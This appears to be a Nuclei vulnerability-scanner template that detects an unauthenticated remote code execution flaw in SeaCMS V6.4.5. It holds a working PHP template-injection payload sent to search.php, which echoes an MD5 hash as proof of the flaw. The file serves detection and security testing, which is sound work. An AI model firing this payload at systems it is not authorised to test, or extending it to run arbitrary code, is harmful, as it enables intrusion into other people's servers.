id: seacms-rce

info:
  name: SeaCMS V6.4.5 RCE
  author: pikpikcu
  severity: high
  description: A vulnerability in SeaCMS allows remote unauthenticated attackers to execute arbitrary PHP code.
  reference:
    - https://mengsec.com/2018/08/06/SeaCMS-v6-45前台代码执行漏洞分析/
  metadata:
    max-request: 1
  tags: seacms,rce

http:
  - method: POST
    path:
      - '{{BaseURL}}/search.php?searchtype=5'

    body: "searchtype=5&order=}{end if} {if:1)echo md5('seacms');if(1}{end if}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "b1e597fa44dfd7669966bfab04eeb8ea"

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100cc0bdc8dc85def9a276db0b6fa9532d5f962c63504225ff489e925fcb36a92a4022100b926ad486c8ae4d9c857e1ad0ea85116d9eb64f975820ec028ec00345320b4e0:922c64590222798bb761d5b6d8e72950